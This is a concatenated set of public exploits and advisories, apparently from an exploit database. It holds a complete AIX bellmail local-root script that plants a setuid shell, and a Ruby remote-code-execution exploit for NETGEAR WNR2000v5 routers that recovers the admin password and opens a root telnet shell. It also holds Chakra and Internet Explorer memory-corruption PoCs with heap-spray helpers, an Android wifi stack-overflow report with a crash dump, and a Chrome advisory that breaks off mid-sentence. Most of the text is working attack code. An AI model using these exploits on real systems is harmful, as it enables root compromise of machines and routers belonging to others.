# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
# Fileset Lower Level Upper Level KEY
# ---------------------------------------------------------
# bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs
# bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs
# bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs
# bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs
# bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile
function ESCALATE
{
echo "[*] Preparing escalation"
$VULNBIN >/dev/null 2>&1 <<EOD
s /etc/suid_profile
EOD
if [ ! -w $SUIDPROFILE ]; then
echo "[-] $SUIDPROFILE is not writable. Exploit failed."
exit 1
fi
echo "[*] Clearing out $SUIDPROFILE"
echo > /etc/suid_profile
echo "[*] Injecting payload"
cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF
echo "[*] Executing SUID to leverage privileges"
/usr/bin/ibstat -a >/dev/null 2>&1
if [ ! -x $ROOTSHELL ]; then
echo "[-] Root shell does not exist or is not executable. Exploit failed."
exit 1
fi
echo "[*] Escalating to root.."
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"
}
echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"
$VULNBIN -e
if [ $? -eq 0 ]
then
ESCALATE
echo "[*] Make sure to remove $ROOTSHELL"
exit 0
fi
echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <<EOD
.
.
.
EOD
echo "[*] Waiting for mail to come in."
while true
do
$VULNBIN -e
if [ $? -eq 0 ]
then
echo "[*] Mail found"
ESCALATE
break
else
echo "[-] Mail not received yet. Sleeping."
sleep 10
fi
done
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload
require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
#####################
#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
#
def telnetenable (username, password)
mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
username_pad = username.ljust(0x10, "\x00")
password_pad = password.ljust(0x21, "\x00")
cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
md5 = Digest::MD5.new
md5.update(cleartext)
payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
secret_key = "AMBIT_TELNET_ENABLE+" + password
cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.padding = 0
binary_data = (cipher.update(payload) << cipher.final)
s = UDPSocket.new
s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"
def get_request(uri_str)
uri = URI.parse(uri_str)
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Get.new(uri.request_uri)
request.basic_auth(USERNAME, PASSWORD)
http.request(request)
end
def post_request(uri_str, body)
uri = URI.parse(uri_str)
header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.basic_auth(USERNAME, PASSWORD)
request.body = body
http.request(request)
end
def check
response = get_request("http://#{@target}/")
auth = response['WWW-Authenticate']
if auth != nil
if auth =~ /WNR2000v5/
puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
return
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
return
end
end
puts "Router is not vulnerable."
end
def get_password
response = get_request("http://#{@target}/BRS_netgear_success.html")
if response.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
end
# 1: send serial number
response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
# 2: send answer to secret questions
response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
"submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
# 3: PROFIT!!!
response = get_request("http://#{@target}/passwordrecovered.cgi")
if response.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
puts "[-] Failed to obtain admin password, bailing out..."
exit(1)
end
if response.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
puts "[-] Failed to obtain admin username, bailing out..."
exit(1)
end
puts "[+] Success! Got admin username #{username} and password #{password}"
return [username, password]
end
def get_current_time
response = get_request("http://#{@target}/")
date = response['Date']
Time.parse(date).strftime('%s').to_i
end
def get_auth_timestamp(mode)
if mode == "bof"
uri_str = "http://#{@target}/lang_check.html"
else
uri_str = "http://#{@target}/PWD_password.htm"
end
response = get_request(uri_str)
if response.code == 401
# try again, might fail the first time
response = get_request(uri_str)
if response.code == 200
if response.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
def got_shell
puts "[+] Success, shell incoming!"
exec("telnet #{@target.split(':')[0]}")
end
if ARGV.length < 2
puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
puts "\tcheck: see if the target is vulnerable"
puts "\tbof: run buffer overflow exploit on the target"
puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
puts "\tnoreboot: optional parameter - don't force a reboot on the target"
exit(1)
end
@target = ARGV[0]
mode = ARGV[1]
if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
reboot = false
else
reboot = true
end
if mode == "telnet"
if ARGV.length == 3
@mac = ARGV[2]
elsif ARGV.length == 4
@mac = ARGV[3]
else
puts "[-] telnet mode needs MAC address argument!"
exit(-1)
end
end
# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
TIME_OFFSET = 5000
else
TIME_OFFSET = 500000
end
# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200
if mode == "check"
check
exit(0)
end
if mode == "bof"
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
system_offset = 0x547D0
gadget = 0x2462C
libc_base = 0x2ab24000
payload = 'a' * 36 + # filler_1
calc_address(libc_base, system_offset) + # s0
'1111' + # s1
'2222' + # s2
'3333' + # s3
calc_address(libc_base, gadget) + # gadget
'b' * 0x40 + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)
# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
if response.code == "200"
puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
sleep 120
puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
sleep 60
else
puts "[-] Failed to reboot the router. Bailing out."
exit(-1)
end
puts "[*] Proceeding..."
end
# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
end_time = get_current_time
if end_time <= TIME_OFFSET
start_time = 0
else
start_time = end_time - TIME_OFFSET
end
end_time += TIME_SURPLUS
if end_time < (TIME_SURPLUS * 7.5).to_i
end_time = (TIME_SURPLUS * 7.5).to_i
end
puts "[+] Got time #{end_time} from router, starting exploitation attempt."
puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
if mode == "bof"
uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end
# 3: work back from the current router time minus TIME_OFFSET
while true
for time in end_time.downto(start_time)
begin
if timestamp == nil
response = post_request(uri_str + get_timestamp(time).to_s, body)
else
response = post_request(uri_str + timestamp.to_s, body)
end
if response.code == "200"
# this only occurs in the telnet case
credentials = get_password
telnetenable(credentials[0], credentials[1])
sleep 5
got_shell
#puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
#puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!"
exit(0)
end
rescue EOFError
if reboot
sleep 0.2
else
# with no reboot we give the router more time to breathe
sleep 0.5
end
begin
s = TCPSocket.new(@target.split(':')[0], 23)
s.close
got_shell
rescue Errno::ECONNREFUSED
if timestamp != nil
# this is the case where we can get an authenticated timestamp but we could not execute code
# IT SHOULD NEVER HAPPEN
# But scream and continue just in case, it means there is a bug
puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
puts "[*] Let's try again..."
timestamp = get_auth_timestamp
end
next
end
rescue Net::ReadTimeout
# for bof case, we land here
got_shell
end
end
if timestamp == nil
start_time = end_time - (TIME_SURPLUS * 5)
end_time = end_time + (TIME_SURPLUS * 5)
puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
end
end
# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972
In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
var d = Object.defineProperty;
var noobj = {
get: function () {
return 0x1234567 >> 1;
},
set: function () {
}
};
function f(){
var i = Intl;
Intl = {}; // this somehow prevents an exception that prevents laoding
d(i, "Collator", noobj);
}
Object.defineProperty = f;
var q = new Intl.NumberFormat(["en"]);
</script></body></html>
-->
<html><body><script>
var d = Object.defineProperty;
var noobj = {
get: function () {
print("in get no");
return 0x1234567 >> 1;
},
set: function () {
print("in set no");
}
};
function f(...a){
var i = Intl;
Intl = {};
d(i, "Collator", noobj);
}
var pattern = {
get: function () {
return f;
},
set: function () {
}
};
Object.defineProperty(Object, "defineProperty", pattern);
var q = new Intl.NumberFormat(["en"]);
</script></body></html>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=961
The following code occurs in JavascriptSIMDObject::ToLocaleString in JavascriptSimdObject.cpp:
Var* newArgs = HeapNewArray(Var, numArgs);
switch (numArgs)
{
case 1:
break;
case 2:
newArgs[1] = args[1];
break;
case 3:
newArgs[1] = args[1];
newArgs[2] = args[2];
break;
default:
Assert(UNREACHED);
}
If the call has more than three arguments, it will fall through, leaving newArgs uninitialized. This will cause toLocaleString to be called on uninitialized memory, having a similar effect to type confusion (as integers in the memory can be confused for pointers and vice-versa). A minimal PoC is as follows, and a full PoC is attached:
var v = SIMD.Int32x4(1, 2, 3, 4);
v.toLocaleString(1, 2, 3, 4)
-->
<html><body><script>
try{
var v = SIMD.Int32x4(1, 2, 3, 4);
alert(v.toLocaleString(1, 2, 3, 4, 5, 6, 7));
}catch(e){
alert(e.message);
}
</script></body></html>
<!--
Source: http://blog.skylined.nl/20161220001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.
Repro.html:
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script type="text/javascript">
document.addEventListener("DOMNodeRemoved", function () {
document.open(); // free
// attempt to modify freed memory here
// because it will be reused after this function returns.
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete"); // allocate
};
</script>
</head>
<body>
</body>
</html>
Exploit
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
Sploit.html:
-->
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script src="cLFHSpray.js"></script>
<script src="cBlockSpray.js"></script>
<script>
var aauCopiesAndSizes = [
[0x08, 0x80],
[0x08, 0x40],
[0x08, 0x20],
[0x10, 0x80]
];
var uBaseAddress = 0x12340000;
var aoBlockSprays = new Array(aauCopiesAndSizes.length);
for (var i = 0; i < aauCopiesAndSizes.length; i++) {
aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);
aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);
aoBlockSprays[i].spray();
}
document.addEventListener("DOMNodeRemoved", function () {
document.open();
var oLFHReuse = new cLFHSpray(10, 0x28);
oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);
oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);
oLFHReuse.spray();
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete");
document.designMode="off";
};
</script>
</head>
<body>
</body>
</html>
<!--
########################################################################
cLFHSpray.js:
function cLFHSpray(uCount, uSize) {
this.aoElements = new Array(uCount);
var auSprayChars = new Array(uSize - 1 >> 1);
for (var i = 0; i < auSprayChars.length; i++) {
auSprayChars[i] = ((i & 0xFF) * 0x202 + 0x100) & 0xFFFF;
}
this.setDWord = function(uOffset, uValue) {
this.setWord(uOffset, uValue & 0xFFFF);
this.setWord(uOffset + 2, uValue >>> 16);
}
this.setWord = function(uOffset, uValue) {
this.setByte(uOffset, uValue & 0xFF);
this.setByte(uOffset + 1, uValue >>> 8);
}
this.setByte = function(uOffset, uValue) {
var uCharOffset = uOffset >> 1;
var uByte0 = (uOffset & 1 ? auSprayChars[uCharOffset] : uValue) & 0xFF;
var uByte1 = (uOffset & 1 ? uValue : (auSprayChars[uCharOffset] >> 8)) & 0xFF;
auSprayChars[uCharOffset] = uByte0 + (uByte1 << 8);
}
this.spray = function() {
var sSprayBuffer = String.fromCharCode.apply(0, auSprayChars);
for (var i = 0; i < uCount; i++) {
this.aoElements[i] = document.createElement("span"); // allocate 0x34 bytes
this.aoElements[i].className = sSprayBuffer; // allocate 0x10, uSize and 0x40 bytes.
}
}
}
########################################################################
cBlockSpray.js:
var cBlockSpray = (function() {
var uChunkSize = 0x10000;
var uBlockHeaderSize = 0x10;
var uBlockFooterSize = 0x04;
var asChunkTemplate = new Array(uChunkSize / 2);
for (var uIndex = 0; uIndex < asChunkTemplate.length; uIndex += 2) {
asChunkTemplate[uIndex] = String.fromCharCode(uIndex);
asChunkTemplate[uIndex + 1] = String.fromCharCode(0xDEAD);
}
return function cBlockSpray(uBlockCount, uChunkCount) {
this.uBlockSize = uChunkCount * uChunkSize - uBlockHeaderSize - uBlockFooterSize;
var sChunk = asChunkTemplate.join("");
var sBlock, asBlocks = new Array(uBlockCount);
this.setChunkDWord = function (uOffset, uValue) {
this.setChunkWord(uOffset, uValue & 0xFFFF);
this.setChunkWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setChunkWord = function (uOffset, uValue) {
if (sBlock) throw new Error("Cannot set chunk values after generating block");
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
if (uOffset >= uChunkSize) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + uChunkSize.toString(16));
var uIndex = uOffset / 2;
var sValue = String.fromCharCode(uValue & 0xFFFF);
sChunk = sChunk.substr(0, uIndex) + sValue + sChunk.substr(uIndex + 1);
}
this.generateBlock = function () {
if (sBlock) throw new Error("Cannot generating block twice");
sBlock = (
sChunk.substr(uBlockHeaderSize / 2) +
new Array(uChunkCount - 1).join(sChunk) +
sChunk.substr(0, (uChunkSize - uBlockFooterSize) / 2)
);
}
this.setBlockDWord = function (uOffset, uValue) {
this.setBlockWord(uOffset, uValue & 0xFFFF);
this.setBlockWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setBlockWord = function (uOffset, uValue) {
if (!sBlock) this.generateBlock();
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
var uIndex = (uOffset - uBlockHeaderSize) / 2;
if (uIndex < 0) throw new Error("uOffset (" + uOffset.toString(16) + ") must be larger than 0x" + uBlockHeaderSize.toString(16));
if (uIndex >= sBlock.length) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + (uBlockHeaderSize + sBlock.length * 2).toString(16));
var sValue = String.fromCharCode(uValue & 0xFFFF);
sBlock = sBlock.substr(0, uIndex) + sValue + sBlock.substr(uIndex + 1);
}
this.spray = function() {
if (!sBlock) this.generateBlock();
for (var i = 0; i < uBlockCount; i++) {
asBlocks[i] = ("" + sBlock).slice(0);
}
}
}
})();
Time-line
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=958
The following code in frameworks/opt/net/wifi/service/jni/com_android_server_wifi_WifiNative.cpp doesn't validate the parameter params.num_bssid, and then copies that number of elements into a stack-allocated wifi_bssid_hotlist_params structure. I don't think this can be reached from an untrusted_app context; but it can be reached from a context with system_api_service access; so a compromised platform app or one of several lower privileged system services (bluetooth, nfc etc.).
static jboolean android_net_wifi_setHotlist(
JNIEnv *env, jclass cls, jint iface, jint id, jobject ap) {
JNIHelper helper(env);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ALOGD("setting hotlist on interface[%d] = %p", iface, handle);
wifi_bssid_hotlist_params params;
memset(¶ms, 0, sizeof(params));
params.lost_ap_sample_size = helper.getIntField(ap, "apLostThreshold");
JNIObject<jobjectArray> array = helper.getArrayField(
ap, "bssidInfos", "[Landroid/net/wifi/WifiScanner$BssidInfo;");
params.num_bssid = helper.getArrayLength(array);
if (params.num_bssid == 0) {
ALOGE("setHotlist array length was 0");
return false;
}
for (int i = 0; i < params.num_bssid; i++) { // <--- no validation on num_bssid
JNIObject<jobject> objAp = helper.getObjectArrayElement(array, i);
JNIObject<jstring> macAddrString = helper.getStringField(objAp, "bssid");
if (macAddrString == NULL) {
ALOGE("Error getting bssid field");
return false;
}
ScopedUtfChars chars(env, macAddrString);
const char *bssid = chars.c_str();
if (bssid == NULL) {
ALOGE("Error getting bssid");
return false;
}
parseMacAddress(bssid, params.ap[i].bssid); // <--- params.ap has 128 elements.
mac_addr addr;
memcpy(addr, params.ap[i].bssid, sizeof(mac_addr));
char bssidOut[32];
snprintf(bssidOut, sizeof(bssidOut), "%0x:%0x:%0x:%0x:%0x:%0x", addr[0],
addr[1], addr[2], addr[3], addr[4], addr[5]);
ALOGD("Added bssid %s", bssidOut);
params.ap[i].low = helper.getIntField(objAp, "low");
params.ap[i].high = helper.getIntField(objAp, "high");
}
See attached for a POC which causes a crash before the function with the corrupted stack frame returns and checks the stack cookie.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[---------------------------------------------------------------------REGISTERS----------------------------------------------------------------------]
*X0 0x80000000 <-- 0x0
*X1 0x0
*X2 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*X3 0x3
*X4 0x709bf05fc0 <-- stp x28, x27, [sp, #-0x60]!
*X5 0x709c1f07b0 (art::gJniNativeInterface) <-- 0x0
*X6 0x709bf27034 <-- cbz x2, #0x709bf27040 /* u'b' */
*X7 0x284801ff284800ff
*X8 0xc01d0142c01d0229
*X9 0x1
*X10 0xc01d0142c01d0141
*X11 0x7082dff4e8 <-- 0x41013fb31dc0
X12 0x0
*X13 0x0
*X14 0x0
*X15 0x33511e057221be
*X16 0x709f0035a0 (pthread_getspecific@got.plt) --> 0x709efaad5c (pthread_getspecific) <-- movz w8, #0x8000, lsl #16
*X17 0x709efaad5c (pthread_getspecific) <-- movz w8, #0x8000, lsl #16
*X18 0x0
*X19 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*X20 0x7082dfe0a0 --> 0x70833c1470 --> 0x7083381c0c (android::JNIObject<_jobject*>::~JNIObject()) <-- adrp x2, #0x70833c2000
*X21 0x7082dfe0b8 --> 0x70833c1490 --> 0x7083381c70 (android::JNIObject<_jstring*>::~JNIObject()) <-- adrp x2, #0x70833c2000
*X22 0x7082dfe078 <-- 0x0
*X23 0xb1da807287fa8cf
*X24 0x709f00e86c (je_tsd_tsd) <-- 0xa880000000
*X25 0x7082dfe8d8 <-- u'c0:1d:b3:3f:1:4...'
*X26 0x200011
*X27 0x7082dfe0d0 <-- 0x100000000001
*X28 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*SP 0x70815310f0 <-- 0x0
*PC 0x709efaada8 (pthread_getspecific+76) <-- ldr x10, [x10, #0xe0]
[------------------------------------------------------------------------CODE------------------------------------------------------------------------]
=> 0x709efaada8L <pthread_getspecific+76> ldr x10, [x10, #0xe0]
0x709efaadacL <pthread_getspecific+80> cmp x10, x9
0x709efaadb0L <pthread_getspecific+84> b.ne #pthread_getspecific+56 <0x709efaad94>
...
0x709efaad94L <pthread_getspecific+56> mov x0, xzr
0x709efaad98L <pthread_getspecific+60> str xzr, [x8]
0x709efaad9cL <pthread_getspecific+64> ret
0x709efaada0L <pthread_getspecific+68> add x10, x10, x8, lsl #4
0x709efaada4L <pthread_getspecific+72> add x8, x10, #0xe8
=> 0x709efaada8L <pthread_getspecific+76> ldr x10, [x10, #0xe0]
0x709efaadacL <pthread_getspecific+80> cmp x10, x9
0x709efaadb0L <pthread_getspecific+84> b.ne #pthread_getspecific+56 <0x709efaad94>
[------------------------------------------------------------------------CODE------------------------------------------------------------------------]
155 in bionic/libc/bionic/pthread_key.cpp
[-----------------------------------------------------------------------STACK------------------------------------------------------------------------]
00:0000| sp 0x70815310f0 <-- 0x0
...
04:0020| 0x7081531110 --> 0x3f800000 <-- 0x0
05:0028| 0x7081531118 <-- 0x0
...
[---------------------------------------------------------------------BACKTRACE----------------------------------------------------------------------]
> f 0 709efaada8 pthread_getspecific+76
f 1 709efd2394 je_free+68
f 2 709efd2394 je_free+68
f 3 709efd2394 je_free+68
f 4 709efd2394 je_free+68
f 5 7083387d10
f 6 7083387d10
f 7 7083387d10
Program received signal SIGSEGV (fault address 0x1d0142c01d0221)
pwndbg> bt
#0 pthread_getspecific (key=<optimized out>) at bionic/libc/bionic/pthread_key.cpp:160
#1 0x000000709efd2394 in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4 je_free (ptr=0x707882c3e0) at external/jemalloc/src/jemalloc.c:1932
#5 0x0000007083387d10 in _JNIEnv::ReleaseStringUTFChars (utf=0x707882c3e0 "c0:1d:b3:3f:01:"..., string=0x200011, this=0x7091fd2b00) at libnativehelper/include/nativehelper/jni.h:851
#6 ScopedUtfChars::~ScopedUtfChars (this=<synthetic pointer>, __in_chrg=<optimized out>) at libnativehelper/include/nativehelper/ScopedUtfChars.h:45
#7 android::android_net_wifi_setHotlist (env=0x7091fd2b00, cls=<optimized out>, iface=<optimized out>, id=0x690a3633, ap=<optimized out>) at frameworks/opt/net/wifi/service/jni/com_android_server_wifi_WifiNative.cpp:799
#8 0x000000709b1a084c in ?? ()
Fixed in https://source.android.com/security/bulletin/2016-12-01.html
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40945.zip
'''
Source: http://blog.skylined.nl/20161219001.html
Synopsis
A specially crafted HTTP response can allow a malicious web-page to trigger a out-of-bounds read vulnerability in Google Chrome. The data is read from the main process' memory.
Known affected software, attack vectors and potential mitigations
Google Chrome up to, but not including, 31.0.1650.48
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path, but may prevent exfiltration of information.
Since the affected code has not been changed since 2009, I assume this affects all versions of Chrome released in the last few years.
Details
The HttpStreamParser class is used to send HTTP requests and receive HTTP responses. Its read_buf_ member is a buffer used to store HTTP response data received from the server. Parts of the code are written under the assumption that the response currently being parsed is always stored at the start of this buffer (as returned by read_buf_->StartOfBuffer()), other parts take into account that this may not be the case (read_buf_->StartOfBuffer() + read_buf_unused_offset_). In most cases, responses are removed from the buffer once they have been parsed and any superfluous data is moved to the beginning of the buffer, to be treated as part of the next response. However, the code special cases HTTP 1xx replies and returns a result without removing the request from the buffer. This means that the response to the next request will not be stored at the start of the buffer, but after this HTTP 1xx response and read_buf_unused_offset_ should be used to find where it starts.
The code that special cases HTTP 1xx responses is:
if (end_of_header_offset == -1) {
<<<snip>>>
} else {
// Note where the headers stop.
read_buf_unused_offset_ = end_of_header_offset;
if (response_->headers->response_code() / 100 == 1) {
// After processing a 1xx response, the caller will ask for the next
// header, so reset state to support that. We don't just skip these
// completely because 1xx codes aren't acceptable when establishing a
// tunnel.
io_state_ = STATE_REQUEST_SENT;
response_header_start_offset_ = -1;
<<<Note: the code above does not remove the HTTP 1xx response from the
buffer.>>>
} else {
